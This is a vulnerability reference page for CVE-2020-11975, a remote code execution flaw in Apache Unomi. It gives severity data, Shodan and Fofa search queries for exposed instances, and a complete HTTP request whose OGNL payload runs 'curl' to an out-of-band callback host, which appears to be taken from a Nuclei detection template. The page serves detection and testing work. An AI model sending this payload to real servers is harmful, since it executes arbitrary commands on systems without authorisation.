🔙 목록으로 돌아가기

CVE-2020-11975: Apache Unomi - Remote Code Execution

TitleApache Unomi - Remote Code Execution
AuthorSourabh-Sahu
SeverityCritical
ImpactSuccessful exploitation allows an attacker to execute arbitrary code on the server with the privileges of the Java process, potentially leading to complete system compromise.
RemediationUpdate Apache Unomi to version 1.5.2 or later. Disable OGNL scripting in conditions if not required.
CVSS Score9.8
EPSS Score0.8271
CVE IDCVE-2020-11975
CWE IDCWE-94
Shodan Queryhttp.title:"Apache Unomi"
Fofa Querytitle="Apache Unomi"
Tags cve cve2020 apache unomi rce ognl oast vkev vuln

🔍 Vulnerability Description

Apache Unomi allows conditions to use OGNL scripting which offers the possibility to call static Java classes from the JDK that could execute code with the permission level of the running Java process, enabling attackers to execute arbitrary code.

🌐 HTTP Request

POST /context.json HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
Connection: close
Content-Length: 736
Accept: */*
Accept-Language: en
Content-Type: application/json
Accept-Encoding: gzip

{

  "personalizations":[

    {

      "id":"gender-test_anystr",

      "strategy":"matching-first",

      "strategyOptions":{

        "fallback":"var2"

      },

      "contents":[

        {

          "filters":[

            {

              "condition":{

                "parameterValues":{

                  "propertyName":"(#r=@java.lang.Runtime@getRuntime()).(#r.exec(\"curl d5jofl1le0o35q12hug0au6rsi87se9m4.oast.pro\"))",

                  "comparisonOperator":"equals_anystr",

                  "propertyValue":"male_anystr"

                },

                "type":"profilePropertyCondition"

              }

            }

          ]

        }

      ]

    }

  ],

  "sessionId":"test-demo-session-id"

}

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-11975.yaml

🦈 Packet Capture: ⬇️ Download cve-2020-11975.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A